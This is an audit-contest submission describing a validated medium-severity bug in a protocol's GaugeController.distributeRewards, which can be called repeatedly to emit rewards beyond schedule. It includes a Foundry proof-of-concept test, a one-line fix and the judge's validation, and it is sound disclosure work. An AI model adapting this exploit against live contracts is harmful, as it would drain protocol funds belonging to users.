Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

attacker can distribute rewards in the Guage controller beyond intended schedules

Summary

The function distributeRewards in GaugeController.sol computes a reward amount and passes it to the gauge’s notifyRewardAmount function. However, after rewarding once, there is no state update or mechanism to “consume” or “lock” the calculated reward. This omission means that an attacker can repeatedly call distributeRewards and drain rewards from the controller

Vulnerability Details

function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
// get user reward
@>1 uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
// notify reward
@> IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}

The _calculateReward() function uses period-based calculations (monthly for RWA, weekly for RAAC) without epoch checking.

function _calculateReward(address gauge) internal view returns (uint256) {
Gauge storage g = gauges[gauge];
uint256 totalWeight = getTotalWeight();
if (totalWeight == 0) return 0;
uint256 gaugeShare = (g.weight * WEIGHT_PRECISION) / totalWeight;
uint256 typeShare = (typeWeights[g.gaugeType] * WEIGHT_PRECISION) / MAX_TYPE_WEIGHT;
// Calculate period emissions based on gauge type
uint256 periodEmission = g.gaugeType == GaugeType.RWA ? _calculateRWAEmission() : _calculateRAACEmission();
return (periodEmission * gaugeShare * typeShare) / (WEIGHT_PRECISION * WEIGHT_PRECISION);
}

An attacker with a malicous guage will call this function repeatedly to distribute all reward from the controller beyond the intended emission schedule.

Proof Of Concept

See how to integrate foundry to hardhat project
. Create a new file POC.t.sol in project /test/ folder . Paste the poc and run forge test --mt test_POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/governance/gauges/GaugeController.sol";
import "contracts/core/governance/gauges/RWAGauge.sol";
import "contracts/core/governance/gauges/RAACGauge.sol";
import "contracts/mocks/core/tokens/MockToken.sol";
contract GaugeControllerTest is Test {
event RewardDistributed(address indexed gauge, address indexed user, uint256 amount);
GaugeController public gaugeController;
RWAGauge public rwaGauge;
RAACGauge public raacGauge;
MockToken public stakingToken;
MockToken public rewardToken;
MockToken public veRAACToken;
address owner = address(1);
address gaugeAdmin = address(2);
address emergencyAdmin = address(3);
address feeAdmin = address(4);
address user1 = address(5);
address user2 = address(6);
uint256 constant MONTH = 30 days;
uint256 constant WEEK = 7 days;
uint256 constant WEIGHT_PRECISION = 10000;
function setUp() public {
// Deploy tokens
veRAACToken = new MockToken("veRAAC Token", "veRAAC", 18);
rewardToken = new MockToken("Reward Token", "REWARD", 18);
stakingToken = new MockToken("Reward Token", "REWARD", 18);
// Deploy GaugeController
gaugeController = new GaugeController(address(veRAACToken));
// Deploy Gauges
rwaGauge = new RWAGauge(
address(rewardToken),
address(stakingToken),
address(gaugeController)
);
raacGauge = new RAACGauge(
address(rewardToken),
address(stakingToken),
address(gaugeController)
);
// Setup roles
bytes32 GAUGE_ADMIN_ROLE = gaugeController.GAUGE_ADMIN();
bytes32 EMERGENCY_ADMIN_ROLE = gaugeController.EMERGENCY_ADMIN();
bytes32 FEE_ADMIN_ROLE = gaugeController.FEE_ADMIN();
gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin);
gaugeController.grantRole(EMERGENCY_ADMIN_ROLE, emergencyAdmin);
gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin);
// Add gauges
vm.prank(gaugeAdmin);
gaugeController.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, 0); // RWA type
vm.prank(gaugeAdmin);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 0); // RAAC type
// Initialize gauges
rwaGauge.grantRole(rwaGauge.CONTROLLER_ROLE(), owner);
raacGauge.grantRole(raacGauge.CONTROLLER_ROLE(), owner);
}
function test_POC() public {
// Setup initial conditions
veRAACToken.mint(user1, 1 ether);
rewardToken.mint(address(rwaGauge), 1000000 ether);
vm.prank(user1);
gaugeController.vote(address(rwaGauge), 5000); // 50% weight
// Fast forward to align with period
vm.warp(((block.timestamp / MONTH) + 1) * MONTH);
vm.startPrank(user1);
vm.expectEmit(true, true, true, true);
emit RewardDistributed(address(rwaGauge), user1, 5e23);
gaugeController.distributeRewards(address(rwaGauge));
// attacker can call this function multiple
// times to effectively drain all rewards
vm.expectEmit(true, true, true, true);
emit RewardDistributed(address(rwaGauge), user1, 5e23);
gaugeController.distributeRewards(address(rwaGauge));
vm.stopPrank();
}
}

Impact

Loss of protocol funds

Tools Used

Manual Review

Recommendations

The function should include a check like:

if (block.timestamp < gauges[gauge].lastRewardTime + EPOCH_DURATION) revert EpochNotEnded();
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.